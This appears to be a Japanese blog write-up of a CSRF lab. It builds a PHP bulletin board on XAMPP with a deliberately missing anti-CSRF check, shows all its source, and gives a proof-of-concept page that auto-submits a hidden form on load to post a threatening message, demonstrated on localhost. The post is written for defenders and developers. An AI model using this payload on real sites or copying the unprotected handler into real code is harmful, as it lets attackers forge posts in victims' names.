今日はクロスサイトリクエストフォージェリと呼ばれる脆弱性について、実際に脆弱性のある掲示板を作成したうえでどのように攻撃が行われるのか検証を行ってみました。毎度おなじみの忠告ですがセキュリティ技術者としてレッドチーム側のキャリアに興味がある私が勉強した内容を備忘として残しておいたもので、悪用は厳禁になりますのでその点を留意いただいたうえで参考にするようお願いします。
本記事の内容を悪用すると法律に問われる可能性があります。セキュリティ技術者やアプリケーション開発者が堅牢なシステムを構築・維持するためには攻撃の手口も知ることが重要であるという考えに基づいて本記事を作成していますので、くれぐれも悪意のある目的で参考にしないようお願いします。
検証に使用する脆弱なサイトについて
検証では以下のサイトを使用します。この掲示板サイトにはクロスサイトリクエストフォージェリ脆弱性を埋め込んでおきました。ソースコードは後述しますが、ChatGPTでたたき台を作っているので可読性やアルゴリズムの良し悪しなどは考慮していません。アプリケーションサーバやデータベースはXAMPP環境のものを利用しています。
環境情報
・XAMPP for Windows 8.2.4
掲示板トップページ(index.php)

掲示板書き込み画面(confirm_post.php)

掲示板書き込み処理(post_form.php)
画面はありませんが上の「掲示板書き込み画面」で「はい」を押下するとこのphpスクリプトに遷移を行い、メッセージの内容をデータベースへ書き込みます。
ソースコード
//db.php
<?php
$host = "****"; // データベースのホスト名
$dbname = "****"; // データベース名
$user = "****"; // データベースのユーザー名
$pass = "****"; // データベースのパスワード
try {
$pdo = new PDO("mysql:host=$host;dbname=$dbname", $user, $pass);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
die("データベースに接続できませんでした: " . $e->getMessage());
}
?>
//index.php
<?php
include('db.php');
// データベースから投稿を取得
$stmt = $pdo->prepare("SELECT * FROM posts ORDER BY created_at DESC");
$stmt->execute();
$posts = $stmt->fetchAll(PDO::FETCH_ASSOC);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>掲示板</title>
<link rel="stylesheet" href="index.css" type="text/css">
</head>
<body>
<h1>掲示板</h1>
<div class="flex-container">
<!-- 書き込み一覧 -->
<ul>
<?php foreach ($posts as $post): ?>
<li>
<?php echo htmlspecialchars($post['message']); ?>
<span><?php echo htmlspecialchars($post['created_at']); ?></span>
</li>
<?php endforeach; ?>
</ul>
<!-- 書き込みフォーム -->
<form action="confirm_post.php" method="post">
<textarea name="message" placeholder="メッセージを入力してください"></textarea>
<button type="submit">投稿する</button>
</form>
</div>
</body>
</html>
//confirm_post.php
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$message = $_POST['message'];
} else {
header("Location: index.php");
exit();
}
?>
<!DOCTYPE html>
<html lang="ja"> <!-- lang属性をjaに変更 -->
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>書き込み確認</title>
<link rel="stylesheet" href="confirm_post.css" type="text/css">
</head>
<body>
<h1>書き込み確認</h1>
<p>以下の内容で投稿しますか?</p>
<p><?php echo htmlspecialchars($message); ?></p>
<form action="post_form.php" method="post">
<input type="hidden" name="message" value="<?php echo htmlspecialchars($message); ?>">
<button type="submit">はい</button>
<button type="button" onclick="history.back()">いいえ</button>
</form>
</body>
</html>
//書き込み処理
//post_form.php
<?php
include('db.php');
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$message = $_POST['message'];
$created_at = date('Y-m-d H:i:s'); // 現在の日時を取得
// データベースに書き込みを追加
$stmt = $pdo->prepare("INSERT INTO posts (message, created_at) VALUES (:message, :created_at)");
$stmt->bindParam(':message', $message);
$stmt->bindParam(':created_at', $created_at);
$stmt->execute();
// 書き込みが完了したらリダイレクト
header("Location: index.php");
exit();
}
?>
着目すべき点としてはデータベースへの書き込み処理を行っている「post_form.php」で、このスクリプトは前の画面からPOSTで送られてきたmessageパラメータの内容をデータベースに登録しています。ただしこのスクリプトにはクロスサイトリクエストフォージェリ脆弱性があり、「掲示板トップページ>掲示板書き込み画面>掲示板書き込み処理」という想定通りの遷移を経て書き込みを行ったのか判定する実装がなされていません。
つまりこのスクリプト「post_form.php」に対してPOSTメソッドで掲示板に書き込む値をmessageパラメータに代入して送信することさえできれば、意図した画面遷移を経ずともデータベースへ書き込みが行われてしまいます。次の節では影響度の理解を目的として、この脆弱性を利用し第三者に悪意ある書き込みを行わせる例をみていきます。
PoC(Proof of Concept)の解説
今回の検証で使用するPoCについて解説します。PoCは概念実証と呼ばれますが、セキュリティ業界では脆弱性をエクスプロイトするための疑似攻撃用コードを指すことが多いです。
以下にPoCを用意しました。「post_form.php」にPOSTメソッドで「message」パラメータを送信する実例です。valueプロパティには掲示板に書き込ませる内容を指定します。脆弱性を悪用した場合の影響度を想定しているので、あるお店を襲撃する旨のメッセージをプロパティに指定しています。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>フォームの送信</title>
</head>
<body>
<form id="myForm" action="post_form.php" method="POST">
<input type="hidden" name="message" value="〇月〇日に〇〇店を襲撃します。">
</form>
<script>
document.addEventListener('DOMContentLoaded', function() {
document.getElementById('myForm').submit();
});
</script>
</body>
</html>
JavaScriptのイベントハンドラを利用することでこのhtmlを踏んだ際、画面上でボタンを押下したりすることもなく自動で「post_form.php」にPOSTメソッドでmessageパラメータが送信されます。試しにこのhtmlをリンクにしたうえで、実際に踏んでみるとどうなるのか見ていきましょう。
PoCの検証
上のhtmlはxampp上で作成しており「bulletin board(掲示板)」というプロジェクトフォルダにあるのでリンクにすると以下の通りになります。
http://localhost/bulletin%20board/csrf.html
ブラウザにこのURLを入力してEnterを押下します。

これにより掲示板に悪意のある書き込みが行われてしまいました。

ここから言えることとしてはクロスサイトリクエストフォージェリ脆弱性が存在する掲示板があった場合、今回のように悪意あるhtmlを作成のうえ、そのhtmlのリンクを第三者に踏ませることができれば本人が知らない間に不当な書き込みを行わせることが可能になってしまいます。最近ではアプリケーションの開発環境がCSRF対策をしてくれるものもあり混入を未然に防げるケースがほとんどですが、セキュリティ技術者やアプリケーション開発者はこういった脆弱性が存在することを把握しておきましょう。